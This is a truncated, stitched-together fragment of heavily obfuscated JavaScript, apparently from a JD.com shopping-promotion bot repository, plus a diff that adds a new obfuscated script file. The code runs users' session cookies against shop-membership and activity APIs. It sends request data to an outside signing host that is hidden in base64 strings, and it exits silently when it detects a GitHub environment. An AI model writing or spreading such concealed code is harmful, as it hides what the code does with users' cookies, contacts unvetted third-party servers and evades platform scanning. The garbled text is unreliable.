_0x21d446(_0x2a69bc);},'\x64\x53\x50\x74\x46':function(_0x361710,_0x4e7aec){return _0x361710===_0x4e7aec;},'\x65\x58\x4d\x65\x7a':_0x219b('‫7'),'\x65\x57\x64\x52\x65':_0x219b('‮8'),'\x45\x53\x75\x79\x6a':_0x219b('‫9'),'\x53\x45\x59\x7a\x5a':_0x219b('‫a'),'\x49\x43\x54\x50\x66':_0x219b('‮b'),'\x4c\x61\x4d\x63\x6e':function(_0x4511c8,_0x436c7f){return _0x4511c8(_0x436c7f);},'\x66\x49\x59\x71\x6c':_0x219b('‫c')};let _0x43735d={'\x75\x72\x6c':_0x219b('‮d')+_0x57a1ec[_0x219b('‮e')](encodeURIComponent,JSON[_0x219b('‫f')](_0x427ea7))+_0x219b('‫10'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x57a1ec[_0x219b('‮11')],'\x41\x63\x63\x65\x70\x74':_0x57a1ec[_0x219b('‫12')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x57a1ec[_0x219b('‮13')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x57a1ec[_0x219b('‫19')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0xd8a74+_0x219b('‫1b')+_0x57a1ec[_0x219b('‫1c')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x57a1ec[_0x219b('‮1e')]}};return new Promise(_0x4d8528=>{var _0x4a857c={'\x44\x59\x75\x71\x67':function(_0x1cc541,_0x551ac5){return _0x57a1ec[_0x219b('‮e')](_0x1cc541,_0x551ac5);}};if(_0x57a1ec[_0x219b('‫1f')](_0x57a1ec[_0x219b('‫20')],_0x57a1ec[_0x219b('‫20')])){$[_0x219b('‮21')](_0x43735d,(_0x42bd53,_0xba57c8,_0x114bc1)=>{try{if(_0x42bd53){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮23')],_0x57a1ec[_0x219b('‮24')])){console[_0x219b('‫25')](_0x42bd53);}else{res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‫2d')],_0x57a1ec[_0x219b('‮2e')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){if(res[_0x219b('‫28')][_0x219b('‮29')]){if(_0x57a1ec[_0x219b('‮22')](_0x57a1ec[_0x219b('‮2f')],_0x57a1ec[_0x219b('‮2f')])){res=JSON[_0x219b('‮26')](_0x114bc1);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}}else{$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}catch(_0x435943){if(_0x57a1ec[_0x219b('‮32')](_0x57a1ec[_0x219b('‮33')],_0x57a1ec[_0x219b('‮33')])){console[_0x219b('‫25')](_0x435943);}else{_0x4a857c[_0x219b('‮34')](_0x4d8528,_0x114bc1);}}finally{if(_0x57a1ec[_0x219b('‫35')](_0x57a1ec[_0x219b('‮36')],_0x57a1ec[_0x219b('‮36')])){_0x57a1ec[_0x219b('‮37')](_0x4d8528);}else{if(res[_0x219b('‫28')][_0x219b('‮29')]){$[_0x219b('‮2a')]=res[_0x219b('‫28')][_0x219b('‮29')][0x0][_0x219b('‫2b')][_0x219b('‫2c')];}}}});}else{console[_0x219b('‫25')](err);}});}async function bindWithVender(_0x6a4f96,_0x2eb643){var _0x5c8438={'\x48\x59\x47\x66\x70':function(_0x343f54,_0x48d0e2){return _0x343f54===_0x48d0e2;},'\x4b\x53\x44\x54\x4a':_0x219b('‫38'),'\x79\x6a\x7a\x42\x46':function(_0x3b41cd,_0x4dfdef){return _0x3b41cd===_0x4dfdef;},'\x56\x43\x49\x4c\x59':_0x219b('‫39'),'\x5a\x66\x64\x58\x6f':_0x219b('‫3a'),'\x6d\x46\x69\x67\x6e':function(_0xb6e3d8,_0x23686f){return _0xb6e3d8===_0x23686f;},'\x7a\x74\x63\x78\x63':_0x219b('‫3b'),'\x48\x54\x41\x44\x44':function(_0xb2175d){return _0xb2175d();},'\x53\x67\x6d\x58\x56':function(_0x5c652b,_0x377eb0,_0x40b9c8){return _0x5c652b(_0x377eb0,_0x40b9c8);},'\x66\x6e\x41\x6b\x69':_0x219b('‫3c'),'\x6c\x64\x51\x6f\x6d':_0x219b('‮8'),'\x4d\x4a\x52\x70\x47':_0x219b('‫9'),'\x4d\x43\x68\x4a\x56':_0x219b('‫a'),'\x58\x69\x4a\x72\x57':_0x219b('‮b'),'\x6b\x4a\x62\x63\x68':function(_0x43c66b,_0x13d811){return _0x43c66b(_0x13d811);},'\x77\x49\x6a\x61\x4d':_0x219b('‫c')};return h5st=await _0x5c8438[_0x219b('‫3d')](geth5st,_0x5c8438[_0x219b('‫3e')],_0x6a4f96),opt={'\x75\x72\x6c':_0x219b('‮3f')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5c8438[_0x219b('‮40')],'\x41\x63\x63\x65\x70\x74':_0x5c8438[_0x219b('‮41')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5c8438[_0x219b('‫42')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x5c8438[_0x219b('‮43')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0x2eb643+_0x219b('‮44')+_0x5c8438[_0x219b('‫45')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x5c8438[_0x219b('‫46')]}},new Promise(_0x215897=>{$[_0x219b('‮21')](opt,(_0x52284b,_0x327a7e,_0x1bb051)=>{try{if(_0x52284b){if(_0x5c8438[_0x219b('‫47')](_0x5c8438[_0x219b('‫48')],_0x5c8438[_0x219b('‫48')])){console[_0x219b('‫25')](_0x52284b);}else{console[_0x219b('‫25')](error);}}else{if(_0x5c8438[_0x219b('‮49')](_0x5c8438[_0x219b('‮4a')],_0x5c8438[_0x219b('‫4b')])){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}catch(_0x55bfed){if(_0x5c8438[_0x219b('‮4c')](_0x5c8438[_0x219b('‮4d')],_0x5c8438[_0x219b('‮4d')])){console[_0x219b('‫25')](_0x55bfed);}else{if(_0x52284b){console[_0x219b('‫25')](_0x52284b);}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}finally{_0x5c8438[_0x219b('‮4e')](_0x215897);}});});}function geth5st(_0x1103d7,_0x586621){var _0x430883={'\x51\x54\x44\x47\x56':function(_0x1e7d03){return _0x1e7d03();},'\x55\x66\x63\x6b\x66':function(_0x5ab017,_0x2b8838){return _0x5ab017*_0x2b8838;},'\x77\x47\x79\x73\x6d':function(_0x5935c8,_0x185779){return _0x5935c8!==_0x185779;},'\x65\x50\x69\x61\x4e':_0x219b('‫4f'),'\x6a\x65\x65\x6c\x4c':_0x219b('‮50'),'\x75\x55\x62\x72\x6a':function(_0x1a5aa8,_0x52ae2c){return _0x1a5aa8===_0x52ae2c;},'\x67\x44\x42\x75\x58':_0x219b('‫51'),'\x6f\x54\x41\x6e\x4b':_0x219b('‫52'),'\x62\x76\x78\x6e\x42':function(_0xa50297,_0x6b8ce2){return _0xa50297(_0x6b8ce2);},'\x48\x52\x45\x63\x64':_0x219b('‮53'),'\x75\x7a\x72\x61\x4e':_0x219b('‮54'),'\x48\x4f\x70\x44\x51':_0x219b('‫55'),'\x6c\x73\x6b\x70\x45':_0x219b('‮56'),'\x68\x4b\x79\x4e\x43':_0x219b('‮57'),'\x51\x6d\x4f\x72\x54':_0x219b('‫58'),'\x75\x42\x74\x6e\x47':_0x219b('‮59'),'\x6b\x59\x50\x46\x52':_0x219b('‮5a')};return new Promise(async _0x255c7d=>{var _0x373d32={'\x73\x55\x46\x44\x4e':function(_0x16c255){return _0x430883[_0x219b('‫5b')](_0x16c255);},'\x45\x47\x68\x47\x77':function(_0x2bd73b,_0xef9125){return _0x430883[_0x219b('‮5c')](_0x2bd73b,_0xef9125);},'\x72\x56\x55\x6c\x59':function(_0x3d06bf,_0x4e3e01){return _0x430883[_0x219b('‫5d')](_0x3d06bf,_0x4e3e01);},'\x57\x45\x75\x42\x52':_0x430883[_0x219b('‮5e')],'\x71\x66\x47\x4c\x74':_0x430883[_0x219b('‫5f')],'\x52\x44\x76\x57\x6b':function(_0xd1e750,_0x1d575d){return _0x430883[_0x219b('‫60')](_0xd1e750,_0x1d575d);},'\x61\x53\x65\x47\x43':_0x430883[_0x219b('‮61')],'\x77\x53\x4e\x50\x77':_0x430883[_0x219b('‮62')],'\x73\x76\x6a\x4b\x48':function(_0x2a1cfb,_0x46f22f){return _0x430883[_0x219b('‮63')](_0x2a1cfb,_0x46f22f);}};if(_0x430883[_0x219b('‫5d')](_0x430883[_0x219b('‮64')],_0x430883[_0x219b('‮64')])){$[_0x219b('‫65')](e,resp);}else{let _0x30ff4={'\x61\x70\x70\x49\x64':_0x430883[_0x219b('‮66')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0x430883[_0x219b('‮67')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x1103d7,'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x586621),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x430883[_0x219b('‫68')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x219b('‫2c')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x2be600='';let _0xb852e3=[_0x430883[_0x219b('‮69')]];if(process[_0x219b('‫6a')][_0x219b('‮6b')]){if(_0x430883[_0x219b('‫60')](_0x430883[_0x219b('‮6c')],_0x430883[_0x219b('‫6d')])){_0x373d32[_0x219b('‮6e')](_0x255c7d);}else{_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x430883[_0x219b('‮5c')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}let _0x1ba80c={'\x75\x72\x6c':_0x219b('‮72'),'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x30ff4),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x2be600,'Content-Type':_0x430883[_0x219b('‫73')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0x430883[_0x219b('‮5c')](0x1e,0x3e8)};$[_0x219b('‫74')](_0x1ba80c,async(_0x46941b,_0x74988f,_0x30ff4)=>{try{if(_0x46941b){if(_0x373d32[_0x219b('‮75')](_0x373d32[_0x219b('‮76')],_0x373d32[_0x219b('‫77')])){_0x30ff4=await geth5st[_0x219b('‮78')](this,arguments);}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x373d32[_0x219b('‮79')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}}else{}}catch(_0x290dbf){$[_0x219b('‫65')](_0x290dbf,_0x74988f);}finally{if(_0x373d32[_0x219b('‫7a')](_0x373d32[_0x219b('‫7b')],_0x373d32[_0x219b('‮7c')])){_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}else{_0x373d32[_0x219b('‮7d')](_0x255c7d,_0x30ff4);}}});}});};_0xod2='jsjiami.com.v6'; -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzkjdz.js b/jd_lzkjdz.js new file mode 100644 index 000000000..638e3f2e2 --- /dev/null +++ b/jd_lzkjdz.js @@ -0,0 +1,6 @@ +/* +雅诗兰黛 + +*/ +var _0xodr='jsjiami.com.v6',_0xodr_=['‮_0xodr'],_0x18a4=[_0xodr,'SUlkZ04=','Y29kZQ==','QUd1VGI=','bW16VXM=','TXhsQm0=','VFpQR2Q=','Vm5VSHg=','RFFOaEk=','T2NYSU0=','dU9HeGY=','c0tuUkw=','Vkx0c2U=','T3daUkg=','bk95WFk=','RkVEUng=','bXlUbEo=','SExqdUM=','dnllYVk=','WUZvTGM=','TnhXeE8=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vY3VzdG9tZXIvZ2V0TXlQaW5n','T3VqeXY=','SFBNb1E=','aWRidUs=','UXdOaFo=','RkxQQXg=','WHdzYVg=','ZXBwSFk=','eUZvbXQ=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUCZyaXNrVHlwZT0x','bmZodHU=','dWFEUFQ=','UlRTaGI=','dkt1Vkg=','ZnJhTU4=','T3BvdlE=','dW5uc2U=','Z3VSR0g=','ZkJGaWY=','TlRtT3k=','RmJBZ00=','V0V3REE=','c0thQXQ=','ZlpxaXM=','Y1pNclE=','anJkenI=','cUtuTG0=','ZWFzSkg=','SGx2UUc=','eXhqd3k=','ZmNyc2s=','ZWpvd1I=','YXJYY2U=','c3VMRG4=','aFNrU3g=','cHVvcEg=','T3NrckE=','SG9lUWk=','elpPcUQ=','UHhEYkY=','dFZIdnA=','a1FEZ0g=','b2RUS1A=','U0FhRmM=','aGhRaUE=','dlpMYmc=','UlNrV1Q=','5L2g5aW977ya','bmlja25hbWU=','cGlu','O0FVVEhfQ19VU0VSPQ==','ZXJyb3JNZXNzYWdl','d1JQV2Y=','ZGtkWmg=','dkV6UlQ=','U2xWd1k=','YmxDTFI=','cmJteUc=','THZrSXY=','eVlsRlo=','WmRMTEE=','allsYks=','Q1dybnE=','S3VYS3Q=','T1FEUWY=','SUJmaks=','bHlvaGs=','T2lmbU0=','RE9zanY=','S0phemw=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','UVd2Z2U=','bWtIV0I=','am5WbUY=','ZlBrTHg=','Wk9ReUU=','ZG12dXg=','TFVGWks=','ZWhCdGI=','VGtQcVM=','Y2lmTmI=','bndlb3U=','UlV5bmQ=','UWNUZnc=','WW9DbFE=','SGFMQ2M=','aVBKcko=','VlRIZnQ=','UGVtdkE=','Vm9HZXg=','THRNdHU=','c0dlV3E=','Zmxvb3I=','ZGJZWGI=','SkRfVVNFUl9BR0VOVA==','SHppV1Q=','VVNFUl9BR0VOVA==','Ympzc0c=','UmhSU2Y=','Zlptckw=','Y1pnRXE=','c0pZcFA=','QXJpUGk=','WlladG4=','U0VoWVE=','Z2hITFI=','REVNUmU=','eVFDekE=','UUp6RHk=','ZGxKV2Y=','ZHZWdmo=','dXdzYnI=','Ym9JdHc=','SmdYTU8=','dkRneWo=','Q0V2Ym4=','eUNiSmQ=','c3RyaW5naWZ5','IGdldFNpZ24gQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','UEp6aEk=','bkJYeGc=','REJIVVU=','Y1Nkb2s=','c0d4aVI=','Qmh0VUk=','V2pMakM=','U1RTQVg=','dGloUHQ=','eUFHbXU=','bFBmYWo=','eGZoWlQ=','dEtPZWc=','S0RBS00=','VVVXR3k=','VGlNdEE=','ZnJqd3g=','aFBtVXQ=','ZnBvVkI=','d3ZHSlg=','YnFXcGI=','ZldEdlM=','QWFTakw=','Z1V3WXQ=','Y3lzdGg=','MTAwMQ==','bWpMbFA=','dXNlckluZm8=','UlFabVQ=','SEFrTW4=','d3BwRmE=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','Ki8q','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','cXRrUGE=','TWR3d00=','eGpYYW0=','VWtEdE4=','a3hTdU4=','TUdzRlY=','RHljZ0I=','Tk1rVXc=','ZWZheUY=','bmhiTXo=','SVJIU04=','bmtvYmU=','VE9qRVg=','Z2VBUkE=','R0lhU3M=','RXhna2U=','S1h3UW8=','Q1F6ZW0=','emN0a24=','b3FzZ2o=','bEFTeHE=','SlZEd2M=','QkxtU0I=','eW9jTFY=','aWhSRU8=','dG9XeGM=','UU1taFQ=','dHJvUFU=','T1lhSU0=','REVoYno=','TWN2TnQ=','cmV0Y29kZQ==','cEdFeEM=','S3ZkZko=','YmhFd3E=','YmluZFdpdGhWZW5kZXJtZXNzYWdl','bWVzc2FnZQ==','RUZrUHE=','aGFzT3duUHJvcGVydHk=','bGZuV1U=','YmFzZUluZm8=','ZU9lTmg=','b1JmR3M=','YUh5UHk=','Z0hTRHU=','ckF2ZVM=','ZXZiT3g=','R2Vsc3Y=','Sm5qZnk=','a25HWXo=','YXdWT2I=','Z0ZnUEU=','Y1lGemU=','YXBpLm0uamQuY29t','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','dXFvWmQ=','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','ZVFWZWY=','ekFnT2c=','TklKbEw=','Qk9vWlA=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','R3lvZGQ=','eHRsRlE=','ZXRaRkY=','eFFUV3Y=','d1JjRmc=','YXN2dEk=','VmFjR3Y=','UkJ4Wk8=','VlBCakM=','UUFrZW4=','Zldpb3o=','VlJadk4=','RERKUXg=','Y2hUZnA=','dUtFV28=','T1dnS2c=','c0dsUVI=','bFdya1I=','alhBdEc=','Y2ZPTFI=','T1ZqSWc=','U01ZYkM=','d0tsakI=','cEt1RlA=','VHp2dHI=','T0d0RVU=','eVJFWVA=','WGFWcW4=','WnpJQ0o=','TlVoRWI=','VnNtVng=','U0lHR3A=','YlFjUXI=','RVhyZU4=','eFVLcXc=','V0FBTlk=','c3VjY2Vzcw==','aW50ZXJlc3RzUnVsZUxpc3Q=','eEtFYno=','T01ZdXc=','aW50ZXJlc3RzSW5mbw==','cUdwUFo=','ZElQUW8=','Q3lmTFI=','YlZaTHM=','S25Ga2c=','d1NzUUE=','Q1FXd0Y=','Z0dwTFQ=','SFhLQWE=','WlN1dGo=','QmlSc0M=','aWJBZ24=','YmluZFdpdGhWZW5kZXI=','U2plSXU=','VUl5Sm4=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj8=','S25KeEw=','WXpmZmU=','aVRpZmI=','cEtGanY=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','bEViU3o=','WWtYUHo=','SHpZWm8=','cEJKTWc=','QkJjcXc=','Q254VG0=','a0FIRGk=','TW9GbXU=','REtEWEY=','VE1jUE4=','am5kTXA=','WU5FR0E=','RHNUWVo=','WkZWZEI=','cUJkdVA=','SHlMQm0=','OGFkZmI=','amRfc2hvcF9tZW1iZXI=','OS4yLjA=','amRzaWduLmNm','UE5ZVkk=','bHBwYUM=','eHlheVc=','U1RIS2o=','VkJNbWc=','dmNORkg=','V3Z4ZEE=','UmVlYkg=','Um1relM=','Y2lMQko=','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','d2VKVHE=','YXBwbHk=','enpPU2I=','ZXhEUHk=','Q1pCWWQ=','bUxaTEE=','aXN2T2JmdXNjYXRvcg==','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMT